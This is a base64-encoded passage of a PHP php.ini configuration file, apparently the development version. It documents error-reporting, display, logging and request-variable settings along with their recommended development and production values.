ZvciBwZXJmb3JtYW5jZSByZWFzb25zLCB0aGlzIGlzIHRoZQ0KOyByZWNvbW1lbmQgZXJyb3IgcmVwb3J0aW5nIHNldHRpbmcuIFlvdXIgcHJvZHVjdGlvbiBzZXJ2ZXIgc2hvdWxkbiZhbXA7YXBvczt0IGJlIHdhc3RpbmcNCjsgcmVzb3VyY2VzIGNvbXBsYWluaW5nIGFib3V0IGJlc3QgcHJhY3RpY2VzIGFuZCBjb2Rpbmcgc3RhbmRhcmRzLiBUaGF0JmFtcDthcG9zO3Mgd2hhdA0KOyBkZXZlbG9wbWVudCBzZXJ2ZXJzIGFuZCBkZXZlbG9wbWVudCBzZXR0aW5ncyBhcmUgZm9yLg0KOyBOb3RlOiBUaGUgcGhwLmluaS1kZXZlbG9wbWVudCBmaWxlIGhhcyB0aGlzIHNldHRpbmcgYXMgRV9BTEwuIFRoaXMNCjsgbWVhbnMgaXQgcHJldHR5IG11Y2ggcmVwb3J0cyBldmVyeXRoaW5nIHdoaWNoIGlzIGV4YWN0bHkgd2hhdCB5b3Ugd2FudCBkdXJpbmcNCjsgZGV2ZWxvcG1lbnQgYW5kIGVhcmx5IHRlc3RpbmcuDQo7DQo7IEVycm9yIExldmVsIENvbnN0YW50czoNCjsgRV9BTEwgICAgICAgICAgICAgLSBBbGwgZXJyb3JzIGFuZCB3YXJuaW5ncyAoaW5jbHVkZXMgRV9TVFJJQ1QgYXMgb2YgUEhQIDUuNC4wKQ0KOyBFX0VSUk9SICAgICAgICAgICAtIGZhdGFsIHJ1bi10aW1lIGVycm9ycw0KOyBFX1JFQ09WRVJBQkxFX0VSUk9SICAtIGFsbW9zdCBmYXRhbCBydW4tdGltZSBlcnJvcnMNCjsgRV9XQVJOSU5HICAgICAgICAgLSBydW4tdGltZSB3YXJuaW5ncyAobm9uLWZhdGFsIGVycm9ycykNCjsgRV9QQVJTRSAgICAgICAgICAgLSBjb21waWxlLXRpbWUgcGFyc2UgZXJyb3JzDQo7IEVfTk9USUNFICAgICAgICAgIC0gcnVuLXRpbWUgbm90aWNlcyAodGhlc2UgYXJlIHdhcm5pbmdzIHdoaWNoIG9mdGVuIHJlc3VsdA0KOyAgICAgICAgICAgICAgICAgICAgIGZyb20gYSBidWcgaW4geW91ciBjb2RlLCBidXQgaXQmYW1wO2Fwb3M7cyBwb3NzaWJsZSB0aGF0IGl0IHdhcw0KOyAgICAgICAgICAgICAgICAgICAgIGludGVudGlvbmFsIChlLmcuLCB1c2luZyBhbiB1bmluaXRpYWxpemVkIHZhcmlhYmxlIGFuZA0KOyAgICAgICAgICAgICAgICAgICAgIHJlbHlpbmcgb24gdGhlIGZhY3QgaXQgaXMgYXV0b21hdGljYWxseSBpbml0aWFsaXplZCB0byBhbg0KOyAgICAgICAgICAgICAgICAgICAgIGVtcHR5IHN0cmluZykNCjsgRV9TVFJJQ1QgICAgICAgICAgLSBydW4tdGltZSBub3RpY2VzLCBlbmFibGUgdG8gaGF2ZSBQSFAgc3VnZ2VzdCBjaGFuZ2VzDQo7ICAgICAgICAgICAgICAgICAgICAgdG8geW91ciBjb2RlIHdoaWNoIHdpbGwgZW5zdXJlIHRoZSBiZXN0IGludGVyb3BlcmFiaWxpdHkNCjsgICAgICAgICAgICAgICAgICAgICBhbmQgZm9yd2FyZCBjb21wYXRpYmlsaXR5IG9mIHlvdXIgY29kZQ0KOyBFX0NPUkVfRVJST1IgICAgICAtIGZhdGFsIGVycm9ycyB0aGF0IG9jY3VyIGR1cmluZyBQSFAmYW1wO2Fwb3M7cyBpbml0aWFsIHN0YXJ0dXANCjsgRV9DT1JFX1dBUk5JTkcgICAgLSB3YXJuaW5ncyAobm9uLWZhdGFsIGVycm9ycykgdGhhdCBvY2N1ciBkdXJpbmcgUEhQJmFtcDthcG9zO3MNCjsgICAgICAgICAgICAgICAgICAgICBpbml0aWFsIHN0YXJ0dXANCjsgRV9DT01QSUxFX0VSUk9SICAgLSBmYXRhbCBjb21waWxlLXRpbWUgZXJyb3JzDQo7IEVfQ09NUElMRV9XQVJOSU5HIC0gY29tcGlsZS10aW1lIHdhcm5pbmdzIChub24tZmF0YWwgZXJyb3JzKQ0KOyBFX1VTRVJfRVJST1IgICAgICAtIHVzZXItZ2VuZXJhdGVkIGVycm9yIG1lc3NhZ2UNCjsgRV9VU0VSX1dBUk5JTkcgICAgLSB1c2VyLWdlbmVyYXRlZCB3YXJuaW5nIG1lc3NhZ2UNCjsgRV9VU0VSX05PVElDRSAgICAgLSB1c2VyLWdlbmVyYXRlZCBub3RpY2UgbWVzc2FnZQ0KOyBFX0RFUFJFQ0FURUQgICAgICAtIHdhcm4gYWJvdXQgY29kZSB0aGF0IHdpbGwgbm90IHdvcmsgaW4gZnV0dXJlIHZlcnNpb25zDQo7ICAgICAgICAgICAgICAgICAgICAgb2YgUEhQDQo7IEVfVVNFUl9ERVBSRUNBVEVEIC0gdXNlci1nZW5lcmF0ZWQgZGVwcmVjYXRpb24gd2FybmluZ3MNCjsNCjsgQ29tbW9uIFZhbHVlczoNCjsgICBFX0FMTCAoU2hvdyBhbGwgZXJyb3JzLCB3YXJuaW5ncyBhbmQgbm90aWNlcyBpbmNsdWRpbmcgY29kaW5nIHN0YW5kYXJkcy4pDQo7ICAgRV9BTEwgJmFtcDthbXA7IH5FX05PVElDRSAgKFNob3cgYWxsIGVycm9ycywgZXhjZXB0IGZvciBub3RpY2VzKQ0KOyAgIEVfQUxMICZhbXA7YW1wOyB+RV9OT1RJQ0UgJmFtcDthbXA7IH5FX1NUUklDVCAgKFNob3cgYWxsIGVycm9ycywgZXhjZXB0IGZvciBub3RpY2VzIGFuZCBjb2Rpbmcgc3RhbmRhcmRzIHdhcm5pbmdzLikNCjsgICBFX0NPTVBJTEVfRVJST1J8RV9SRUNPVkVSQUJMRV9FUlJPUnxFX0VSUk9SfEVfQ09SRV9FUlJPUiAgKFNob3cgb25seSBlcnJvcnMpDQo7IERlZmF1bHQgVmFsdWU6IEVfQUxMICZhbXA7YW1wOyB+RV9OT1RJQ0UgJmFtcDthbXA7IH5FX1NUUklDVCAmYW1wO2FtcDsgfkVfREVQUkVDQVRFRA0KOyBEZXZlbG9wbWVudCBWYWx1ZTogRV9BTEwNCjsgUHJvZHVjdGlvbiBWYWx1ZTogRV9BTEwgJmFtcDthbXA7IH5FX0RFUFJFQ0FURUQgJmFtcDthbXA7IH5FX1NUUklDVA0KOyBodHRwOi8vcGhwLm5ldC9lcnJvci1yZXBvcnRpbmcNCmVycm9yX3JlcG9ydGluZyA9IEVfQUxMDQoNCjsgVGhpcyBkaXJlY3RpdmUgY29udHJvbHMgd2hldGhlciBvciBub3QgYW5kIHdoZXJlIFBIUCB3aWxsIG91dHB1dCBlcnJvcnMsDQo7IG5vdGljZXMgYW5kIHdhcm5pbmdzIHRvby4gRXJyb3Igb3V0cHV0IGlzIHZlcnkgdXNlZnVsIGR1cmluZyBkZXZlbG9wbWVudCwgYnV0DQo7IGl0IGNvdWxkIGJlIHZlcnkgZGFuZ2Vyb3VzIGluIHByb2R1Y3Rpb24gZW52aXJvbm1lbnRzLiBEZXBlbmRpbmcgb24gdGhlIGNvZGUNCjsgd2hpY2ggaXMgdHJpZ2dlcmluZyB0aGUgZXJyb3IsIHNlbnNpdGl2ZSBpbmZvcm1hdGlvbiBjb3VsZCBwb3RlbnRpYWxseSBsZWFrDQo7IG91dCBvZiB5b3VyIGFwcGxpY2F0aW9uIHN1Y2ggYXMgZGF0YWJhc2UgdXNlcm5hbWVzIGFuZCBwYXNzd29yZHMgb3Igd29yc2UuDQo7IEZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50cywgd2UgcmVjb21tZW5kIGxvZ2dpbmcgZXJyb3JzIHJhdGhlciB0aGFuDQo7IHNlbmRpbmcgdGhlbSB0byBTVERPVVQuDQo7IFBvc3NpYmxlIFZhbHVlczoNCjsgICBPZmYgPSBEbyBub3QgZGlzcGxheSBhbnkgZXJyb3JzDQo7ICAgc3RkZXJyID0gRGlzcGxheSBlcnJvcnMgdG8gU1RERVJSIChhZmZlY3RzIG9ubHkgQ0dJL0NMSSBiaW5hcmllcyEpDQo7ICAgT24gb3Igc3Rkb3V0ID0gRGlzcGxheSBlcnJvcnMgdG8gU1RET1VUDQo7IERlZmF1bHQgVmFsdWU6IE9uDQo7IERldmVsb3BtZW50IFZhbHVlOiBPbg0KOyBQcm9kdWN0aW9uIFZhbHVlOiBPZmYNCjsgaHR0cDovL3BocC5uZXQvZGlzcGxheS1lcnJvcnMNCmRpc3BsYXlfZXJyb3JzID0gT24NCg0KOyBUaGUgZGlzcGxheSBvZiBlcnJvcnMgd2hpY2ggb2NjdXIgZHVyaW5nIFBIUCZhbXA7YXBvcztzIHN0YXJ0dXAgc2VxdWVuY2UgYXJlIGhhbmRsZWQNCjsgc2VwYXJhdGVseSBmcm9tIGRpc3BsYXlfZXJyb3JzLiBQSFAmYW1wO2Fwb3M7cyBkZWZhdWx0IGJlaGF2aW9yIGlzIHRvIHN1cHByZXNzIHRob3NlDQo7IGVycm9ycyBmcm9tIGNsaWVudHMuIFR1cm5pbmcgdGhlIGRpc3BsYXkgb2Ygc3RhcnR1cCBlcnJvcnMgb24gY2FuIGJlIHVzZWZ1bCBpbg0KOyBkZWJ1Z2dpbmcgY29uZmlndXJhdGlvbiBwcm9ibGVtcy4gV2Ugc3Ryb25nbHkgcmVjb21tZW5kIHlvdQ0KOyBzZXQgdGhpcyB0byAmYW1wO2Fwb3M7b2ZmJmFtcDthcG9zOyBmb3IgcHJvZHVjdGlvbiBzZXJ2ZXJzLg0KOyBEZWZhdWx0IFZhbHVlOiBPZmYNCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IE9uDQo7IFByb2R1Y3Rpb24gVmFsdWU6IE9mZg0KOyBodHRwOi8vcGhwLm5ldC9kaXNwbGF5LXN0YXJ0dXAtZXJyb3JzDQpkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzID0gT24NCg0KOyBCZXNpZGVzIGRpc3BsYXlpbmcgZXJyb3JzLCBQSFAgY2FuIGFsc28gbG9nIGVycm9ycyB0byBsb2NhdGlvbnMgc3VjaCBhcyBhDQo7IHNlcnZlci1zcGVjaWZpYyBsb2csIFNUREVSUiwgb3IgYSBsb2NhdGlvbiBzcGVjaWZpZWQgYnkgdGhlIGVycm9yX2xvZw0KOyBkaXJlY3RpdmUgZm91bmQgYmVsb3cuIFdoaWxlIGVycm9ycyBzaG91bGQgbm90IGJlIGRpc3BsYXllZCBvbiBwcm9kdWN0aW9ucw0KOyBzZXJ2ZXJzIHRoZXkgc2hvdWxkIHN0aWxsIGJlIG1vbml0b3JlZCBhbmQgbG9nZ2luZyBpcyBhIGdyZWF0IHdheSB0byBkbyB0aGF0Lg0KOyBEZWZhdWx0IFZhbHVlOiBPZmYNCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IE9uDQo7IFByb2R1Y3Rpb24gVmFsdWU6IE9uDQo7IGh0dHA6Ly9waHAubmV0L2xvZy1lcnJvcnMNCmxvZ19lcnJvcnMgPSBPbg0KDQo7IFNldCBtYXhpbXVtIGxlbmd0aCBvZiBsb2dfZXJyb3JzLiBJbiBlcnJvcl9sb2cgaW5mb3JtYXRpb24gYWJvdXQgdGhlIHNvdXJjZSBpcw0KOyBhZGRlZC4gVGhlIGRlZmF1bHQgaXMgMTAyNCBhbmQgMCBhbGxvd3MgdG8gbm90IGFwcGx5IGFueSBtYXhpbXVtIGxlbmd0aCBhdCBhbGwuDQo7IGh0dHA6Ly9waHAubmV0L2xvZy1lcnJvcnMtbWF4LWxlbg0KbG9nX2Vycm9yc19tYXhfbGVuID0gMTAyNA0KDQo7IERvIG5vdCBsb2cgcmVwZWF0ZWQgbWVzc2FnZXMuIFJlcGVhdGVkIGVycm9ycyBtdXN0IG9jY3VyIGluIHNhbWUgZmlsZSBvbiBzYW1lDQo7IGxpbmUgdW5sZXNzIGlnbm9yZV9yZXBlYXRlZF9zb3VyY2UgaXMgc2V0IHRydWUuDQo7IGh0dHA6Ly9waHAubmV0L2lnbm9yZS1yZXBlYXRlZC1lcnJvcnMNCmlnbm9yZV9yZXBlYXRlZF9lcnJvcnMgPSBPZmYNCg0KOyBJZ25vcmUgc291cmNlIG9mIG1lc3NhZ2Ugd2hlbiBpZ25vcmluZyByZXBlYXRlZCBtZXNzYWdlcy4gV2hlbiB0aGlzIHNldHRpbmcNCjsgaXMgT24geW91IHdpbGwgbm90IGxvZyBlcnJvcnMgd2l0aCByZXBlYXRlZCBtZXNzYWdlcyBmcm9tIGRpZmZlcmVudCBmaWxlcyBvcg0KOyBzb3VyY2UgbGluZXMuDQo7IGh0dHA6Ly9waHAubmV0L2lnbm9yZS1yZXBlYXRlZC1zb3VyY2UNCmlnbm9yZV9yZXBlYXRlZF9zb3VyY2UgPSBPZmYNCg0KOyBJZiB0aGlzIHBhcmFtZXRlciBpcyBzZXQgdG8gT2ZmLCB0aGVuIG1lbW9yeSBsZWFrcyB3aWxsIG5vdCBiZSBzaG93biAob24NCjsgc3Rkb3V0IG9yIGluIHRoZSBsb2cpLiBUaGlzIGhhcyBvbmx5IGVmZmVjdCBpbiBhIGRlYnVnIGNvbXBpbGUsIGFuZCBpZg0KOyBlcnJvciByZXBvcnRpbmcgaW5jbHVkZXMgRV9XQVJOSU5HIGluIHRoZSBhbGxvd2VkIGxpc3QNCjsgaHR0cDovL3BocC5uZXQvcmVwb3J0LW1lbWxlYWtzDQpyZXBvcnRfbWVtbGVha3MgPSBPbg0KDQo7IFRoaXMgc2V0dGluZyBpcyBvbiBieSBkZWZhdWx0Lg0KO3JlcG9ydF96ZW5kX2RlYnVnID0gMA0KDQo7IFN0b3JlIHRoZSBsYXN0IGVycm9yL3dhcm5pbmcgbWVzc2FnZSBpbiAkcGhwX2Vycm9ybXNnIChib29sZWFuKS4NCjsgVGhpcyBkaXJlY3RpdmUgaXMgREVQUkVDQVRFRC4NCjsgRGVmYXVsdCBWYWx1ZTogT2ZmDQo7IERldmVsb3BtZW50IFZhbHVlOiBPZmYNCjsgUHJvZHVjdGlvbiBWYWx1ZTogT2ZmDQo7IGh0dHA6Ly9waHAubmV0L3RyYWNrLWVycm9ycw0KO3RyYWNrX2Vycm9ycyA9IE9mZg0KDQo7IFR1cm4gb2ZmIG5vcm1hbCBlcnJvciByZXBvcnRpbmcgYW5kIGVtaXQgWE1MLVJQQyBlcnJvciBYTUwNCjsgaHR0cDovL3BocC5uZXQveG1scnBjLWVycm9ycw0KO3htbHJwY19lcnJvcnMgPSAwDQoNCjsgQW4gWE1MLVJQQyBmYXVsdENvZGUNCjt4bWxycGNfZXJyb3JfbnVtYmVyID0gMA0KDQo7IFdoZW4gUEhQIGRpc3BsYXlzIG9yIGxvZ3MgYW4gZXJyb3IsIGl0IGhhcyB0aGUgY2FwYWJpbGl0eSBvZiBmb3JtYXR0aW5nIHRoZQ0KOyBlcnJvciBtZXNzYWdlIGFzIEhUTUwgZm9yIGVhc2llciByZWFkaW5nLiBUaGlzIGRpcmVjdGl2ZSBjb250cm9scyB3aGV0aGVyDQo7IHRoZSBlcnJvciBtZXNzYWdlIGlzIGZvcm1hdHRlZCBhcyBIVE1MIG9yIG5vdC4NCjsgTm90ZTogVGhpcyBkaXJlY3RpdmUgaXMgaGFyZGNvZGVkIHRvIE9mZiBmb3IgdGhlIENMSSBTQVBJDQo7IERlZmF1bHQgVmFsdWU6IE9uDQo7IERldmVsb3BtZW50IFZhbHVlOiBPbg0KOyBQcm9kdWN0aW9uIHZhbHVlOiBPbg0KOyBodHRwOi8vcGhwLm5ldC9odG1sLWVycm9ycw0KaHRtbF9lcnJvcnMgPSBPbg0KDQo7IElmIGh0bWxfZXJyb3JzIGlzIHNldCB0byBPbiAqYW5kKiBkb2NyZWZfcm9vdCBpcyBub3QgZW1wdHksIHRoZW4gUEhQDQo7IHByb2R1Y2VzIGNsaWNrYWJsZSBlcnJvciBtZXNzYWdlcyB0aGF0IGRpcmVjdCB0byBhIHBhZ2UgZGVzY3JpYmluZyB0aGUgZXJyb3INCjsgb3IgZnVuY3Rpb24gY2F1c2luZyB0aGUgZXJyb3IgaW4gZGV0YWlsLg0KOyBZb3UgY2FuIGRvd25sb2FkIGEgY29weSBvZiB0aGUgUEhQIG1hbnVhbCBmcm9tIGh0dHA6Ly9waHAubmV0L2RvY3MNCjsgYW5kIGNoYW5nZSBkb2NyZWZfcm9vdCB0byB0aGUgYmFzZSBVUkwgb2YgeW91ciBsb2NhbCBjb3B5IGluY2x1ZGluZyB0aGUNCjsgbGVhZGluZyAmYW1wO2Fwb3M7LyZhbXA7YXBvczsuIFlvdSBtdXN0IGFsc28gc3BlY2lmeSB0aGUgZmlsZSBleHRlbnNpb24gYmVpbmcgdXNlZCBpbmNsdWRpbmcNCjsgdGhlIGRvdC4gUEhQJmFtcDthcG9zO3MgZGVmYXVsdCBiZWhhdmlvciBpcyB0byBsZWF2ZSB0aGVzZSBzZXR0aW5ncyBlbXB0eSwgaW4gd2hpY2gNCjsgY2FzZSBubyBsaW5rcyB0byBkb2N1bWVudGF0aW9uIGFyZSBnZW5lcmF0ZWQuDQo7IE5vdGU6IE5ldmVyIHVzZSB0aGlzIGZlYXR1cmUgZm9yIHByb2R1Y3Rpb24gYm94ZXMuDQo7IGh0dHA6Ly9waHAubmV0L2RvY3JlZi1yb290DQo7IEV4YW1wbGVzDQo7ZG9jcmVmX3Jvb3QgPSAmYW1wO3F1b3Q7L3BocG1hbnVhbC8mYW1wO3F1b3Q7DQoNCjsgaHR0cDovL3BocC5uZXQvZG9jcmVmLWV4dA0KO2RvY3JlZl9leHQgPSAuaHRtbA0KDQo7IFN0cmluZyB0byBvdXRwdXQgYmVmb3JlIGFuIGVycm9yIG1lc3NhZ2UuIFBIUCZhbXA7YXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gbGVhdmUNCjsgdGhpcyBzZXR0aW5nIGJsYW5rLg0KOyBodHRwOi8vcGhwLm5ldC9lcnJvci1wcmVwZW5kLXN0cmluZw0KOyBFeGFtcGxlOg0KO2Vycm9yX3ByZXBlbmRfc3RyaW5nID0gJmFtcDtxdW90OyZhbXA7bHQ7c3BhbiBzdHlsZT0mYW1wO2Fwb3M7Y29sb3I6ICNmZjAwMDAmYW1wO2Fwb3M7JmFtcDtndDsmYW1wO3F1b3Q7DQoNCjsgU3RyaW5nIHRvIG91dHB1dCBhZnRlciBhbiBlcnJvciBtZXNzYWdlLiBQSFAmYW1wO2Fwb3M7cyBkZWZhdWx0IGJlaGF2aW9yIGlzIHRvIGxlYXZlDQo7IHRoaXMgc2V0dGluZyBibGFuay4NCjsgaHR0cDovL3BocC5uZXQvZXJyb3ItYXBwZW5kLXN0cmluZw0KOyBFeGFtcGxlOg0KO2Vycm9yX2FwcGVuZF9zdHJpbmcgPSAmYW1wO3F1b3Q7JmFtcDtsdDsvc3BhbiZhbXA7Z3Q7JmFtcDtxdW90Ow0KDQo7IExvZyBlcnJvcnMgdG8gc3BlY2lmaWVkIGZpbGUuIFBIUCZhbXA7YXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gbGVhdmUgdGhpcyB2YWx1ZQ0KOyBlbXB0eS4NCjsgaHR0cDovL3BocC5uZXQvZXJyb3ItbG9nDQo7IEV4YW1wbGU6DQo7ZXJyb3JfbG9nID0gcGhwX2Vycm9ycy5sb2cNCjsgTG9nIGVycm9ycyB0byBzeXNsb2cgKEV2ZW50IExvZyBvbiBXaW5kb3dzKS4NCjtlcnJvcl9sb2cgPSBzeXNsb2cNCg0KOyBUaGUgc3lzbG9nIGlkZW50IGlzIGEgc3RyaW5nIHdoaWNoIGlzIHByZXBlbmRlZCB0byBldmVyeSBtZXNzYWdlIGxvZ2dlZA0KOyB0byBzeXNsb2cuIE9ubHkgdXNlZCB3aGVuIGVycm9yX2xvZyBpcyBzZXQgdG8gc3lzbG9nLg0KO3N5c2xvZy5pZGVudCA9IHBocA0KDQo7IFRoZSBzeXNsb2cgZmFjaWxpdHkgaXMgdXNlZCB0byBzcGVjaWZ5IHdoYXQgdHlwZSBvZiBwcm9ncmFtIGlzIGxvZ2dpbmcNCjsgdGhlIG1lc3NhZ2UuIE9ubHkgdXNlZCB3aGVuIGVycm9yX2xvZyBpcyBzZXQgdG8gc3lzbG9nLg0KO3N5c2xvZy5mYWNpbGl0eSA9IHVzZXINCg0KOyBTZXQgdGhpcyB0byBkaXNhYmxlIGZpbHRlcmluZyBjb250cm9sIGNoYXJhY3RlcnMgKHRoZSBkZWZhdWx0KS4NCjsgU29tZSBsb2dnZXJzIG9ubHkgYWNjZXB0IE5WVC1BU0NJSSwgb3RoZXJzIGFjY2VwdCBhbnl0aGluZyB0aGF0JmFtcDthcG9zO3Mgbm90DQo7IGNvbnRyb2wgY2hhcmFjdGVycy4gSWYgeW91ciBsb2dnZXIgYWNjZXB0cyBldmVyeXRoaW5nLCB0aGVuIG5vIGZpbHRlcmluZw0KOyBpcyBuZWVkZWQgYXQgYWxsLg0KOyBBbGxvd2VkIHZhbHVlcyBhcmU6DQo7ICAgYXNjaWkgKGFsbCBwcmludGFibGUgQVNDSUkgY2hhcmFjdGVycyBhbmQgTkwpDQo7ICAgbm8tY3RybCAoYWxsIGNoYXJhY3RlcnMgZXhjZXB0IGNvbnRyb2wgY2hhcmFjdGVycykNCjsgICBhbGwgKGFsbCBjaGFyYWN0ZXJzKQ0KOyAgIHJhdyAobGlrZSAmYW1wO3F1b3Q7YWxsJmFtcDtxdW90OywgYnV0IG1lc3NhZ2VzIGFyZSBub3Qgc3BsaXQgYXQgbmV3bGluZXMpDQo7IGh0dHA6Ly9waHAubmV0L3N5c2xvZy5maWx0ZXINCjtzeXNsb2cuZmlsdGVyID0gYXNjaWkNCg0KO3dpbmRvd3Muc2hvd19jcnRfd2FybmluZw0KOyBEZWZhdWx0IHZhbHVlOiAwDQo7IERldmVsb3BtZW50IHZhbHVlOiAwDQo7IFByb2R1Y3Rpb24gdmFsdWU6IDANCg0KOzs7Ozs7Ozs7Ozs7Ozs7OzsNCjsgRGF0YSBIYW5kbGluZyA7DQo7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KDQo7IFRoZSBzZXBhcmF0b3IgdXNlZCBpbiBQSFAgZ2VuZXJhdGVkIFVSTHMgdG8gc2VwYXJhdGUgYXJndW1lbnRzLg0KOyBQSFAmYW1wO2Fwb3M7cyBkZWZhdWx0IHNldHRpbmcgaXMgJmFtcDtxdW90OyZhbXA7YW1wOyZhbXA7cXVvdDsuDQo7IGh0dHA6Ly9waHAubmV0L2FyZy1zZXBhcmF0b3Iub3V0cHV0DQo7IEV4YW1wbGU6DQo7YXJnX3NlcGFyYXRvci5vdXRwdXQgPSAmYW1wO3F1b3Q7JmFtcDthbXA7YW1wOyZhbXA7cXVvdDsNCg0KOyBMaXN0IG9mIHNlcGFyYXRvcihzKSB1c2VkIGJ5IFBIUCB0byBwYXJzZSBpbnB1dCBVUkxzIGludG8gdmFyaWFibGVzLg0KOyBQSFAmYW1wO2Fwb3M7cyBkZWZhdWx0IHNldHRpbmcgaXMgJmFtcDtxdW90OyZhbXA7YW1wOyZhbXA7cXVvdDsuDQo7IE5PVEU6IEV2ZXJ5IGNoYXJhY3RlciBpbiB0aGlzIGRpcmVjdGl2ZSBpcyBjb25zaWRlcmVkIGFzIHNlcGFyYXRvciENCjsgaHR0cDovL3BocC5uZXQvYXJnLXNlcGFyYXRvci5pbnB1dA0KOyBFeGFtcGxlOg0KO2FyZ19zZXBhcmF0b3IuaW5wdXQgPSAmYW1wO3F1b3Q7OyZhbXA7YW1wOyZhbXA7cXVvdDsNCg0KOyBUaGlzIGRpcmVjdGl2ZSBkZXRlcm1pbmVzIHdoaWNoIHN1cGVyIGdsb2JhbCBhcnJheXMgYXJlIHJlZ2lzdGVyZWQgd2hlbiBQSFANCjsgc3RhcnRzIHVwLiBHLFAsQyxFICZhbXA7YW1wOyBTIGFyZSBhYmJyZXZpYXRpb25zIGZvciB0aGUgZm9sbG93aW5nIHJlc3BlY3RpdmUgc3VwZXINCjsgZ2xvYmFsczogR0VULCBQT1NULCBDT09LSUUsIEVOViBhbmQgU0VSVkVSLiBUaGVyZSBpcyBhIHBlcmZvcm1hbmNlIHBlbmFsdHkNCjsgcGFpZCBmb3IgdGhlIHJlZ2lzdHJhdGlvbiBvZiB0aGVzZSBhcnJheXMgYW5kIGJlY2F1c2UgRU5WIGlzIG5vdCBhcyBjb21tb25seQ0KOyB1c2VkIGFzIHRoZSBvdGhlcnMsIEVOViBpcyBub3QgcmVjb21tZW5kZWQgb24gcHJvZHVjdGlvbnMgc2VydmVycy4gWW91DQo7IGNhbiBzdGlsbCBnZXQgYWNjZXNzIHRvIHRoZSBlbnZpcm9ubWVudCB2YXJpYWJsZXMgdGhyb3VnaCBnZXRlbnYoKSBzaG91bGQgeW91DQo7IG5lZWQgdG8uDQo7IERlZmF1bHQgVmFsdWU6ICZhbXA7cXVvdDtFR1BDUyZhbXA7cXVvdDsNCjsgRGV2ZWxvcG1lbnQgVmFsdWU6ICZhbXA7cXVvdDtHUENTJmFtcDtxdW90Ow0KOyBQcm9kdWN0aW9uIFZhbHVlOiAmYW1wO3F1b3Q7R1BDUyZhbXA7cXVvdDs7DQo7IGh0dHA6Ly9waHAubmV0L3ZhcmlhYmxlcy1vcmRlcg0KdmFyaWFibGVzX29yZGVyID0gJmFtcDtxdW90O0dQQ1MmYW1wO3F1b3Q7DQoNCjsgVGhpcyBkaXJlY3RpdmUgZGV0ZXJtaW5lcyB3aGljaCBzdXBlciBnbG9iYWwgZGF0YSAoRyxQICZhbXA7YW1wOyBDKSBzaG91bGQgYmUNCjsgcmVnaXN0ZXJlZCBpbnRvIHRoZSBzdXBlciBnbG9iYWwgYXJyYXkgUkVRVUVTVC4gSWYgc28sIGl0IGFsc28gZGV0ZXJtaW5lcw0KOyB0aGUgb3JkZXIgaW4gd2hpY2ggdGhhdCBkYXRhIGlzIHJlZ2lzdGVyZWQuIFRoZSB2YWx1ZXMgZm9yIHRoaXMgZGlyZWN0aXZlDQo7IGFyZSBzcGVjaWZpZWQgaW4gdGhlIHNhbWUgbWFubmVyIGFzIHRoZSB2YXJpYWJsZXNfb3JkZXIgZGlyZWN0aXZlLA0KOyBFWENFUFQgb25lLiBMZWF2aW5nIHRoaXMgdmFsdWUgZW1wdHkgd2lsbCBjYXVzZSBQSFAgdG8gdXNlIHRoZSB2YWx1ZSBzZXQNCjsgaW4gdGhlIHZhcmlhYmxlc19vcmRlciBkaXJlY3RpdmUuIEl0IGRvZXMgbm90IG1lYW4gaXQgd2lsbCBsZWF2ZSB0aGUgc3VwZXINCjsgZ2xvYmFscyBhcnJheSBSRVFVRVNUIGVtcHR5Lg0KOyBEZWZhdWx0IFZhbHVlOiBOb25lDQo7IERldmVsb3BtZW50IFZhbHVlOiAmYW1wO3F1b3Q7R1AmYW1wO3F1b3Q7DQo7IFByb2R1Y3Rpb24gVmFsdWU6ICZhbXA7cXVvdDtHUCZhbXA7cXVvdDsNCjsgaHR0cDovL3BocC5uZXQvcmVxdWVzdC1vcmRlcg0KcmVxdWVzdF9vcmRlciA9ICZhbXA7cXVvdDtHUCZhbXA7cXVvdDsNCg0KOyBUaGlzIGRpcmVjdGl2ZSBkZXRlcm1pbmVzIHdoZXRoZXIgUEhQIHJlZ2lzdGVycyAkYXJndiAmYW1wO2FtcDsgJGFyZ2MgZWFjaCB0aW1lIGl0DQo7IHJ1bnMuICRhcmd2IGNvbnRhaW5zIGFuIGFycmF5IG9mIGFsbCB0aGUgYXJndW1lbnRzIHBhc3NlZCB0byBQSFAgd2hlbiBhIHNjcmlwdA0KOyBpcyBpbnZva2VkLiAkYXJnYyBjb250YWlucyBhbiBpbnRlZ2VyIHJlcHJlc2VudGluZyB0aGUgbnVtYmVyIG9mIGFyZ3VtZW50cw0KOyB0aGF0IHdlcmUgcGFzc2VkIHdoZW4gdGhlIHNjcmlwdCB3YXMgaW52b2tlZC4gVGhlc2UgYXJyYXlzIGFyZSBleHRyZW1lbHkNCjsgdXNlZnVsIHdoZW4gcnVubmluZyBzY3JpcHRzIGZyb20gdGhlIGNvbW1hbmQgbGluZS4gV2hlbiB0aGlzIGRpcmVjdGl2ZSBpcw0KOyBlbmFibGVkLCByZWdpc3RlcmluZyB0aGVzZSB2YXJpYWJsZXMgY29uc3VtZXMgQ1BVIGN5Y2xlcyBhbmQgbWVtb3J5IGVhY2ggdGltZQ0KOyBhIHNjcmlwdCBpcyBleGVjdXRlZC4gRm9yIHBlcmZvcm1hbmNlIHJlYXNvbnMsIHRoaXMgZmVhdHVyZSBzaG91bGQgYmUgZGlzYWJsZWQNCjsgb24gcHJvZHVjdGlvbiBzZXJ2ZXJzLg0KOyBOb3RlOiBUaGlzIGRpcmVjdGl2ZSBpcyBoYXJkY29kZWQgdG8gT24gZm9yIHRoZSBDTEkgU0FQSQ0KOyBEZWZhdWx0IFZhbHVlOiBPbg0KOyBEZXZlbG9wbWVudCBWYWx1ZTogT2ZmDQo7IFByb2R1Y3Rpb24gVmFsdWU6IE9mZg0KOyBodHRwOi8vcGhwLm5ldC9yZWdpc3Rlci1hcmdjLWFyZ3YNCnJlZ2lzdGVyX2FyZ2NfYXJndiA9IE9mZg0KDQo7IFdoZW4gZW5hYmxlZCwgdGhlIEVOViwgUkVRVUVTVCBhbmQgU0VSVkVSIHZhcmlhYmxlcyBhcmUgY3JlYXRlZCB3aGVuIHRoZXkmYW1wO2Fwb3M7cmUNCjsgZmlyc3QgdXNlZCAoSnVzdCBJbiBUaW1lKSBpbnN0ZWFkIG9mIHdoZW4gdGhlIHNjcmlwdCBzdGFydHMuIE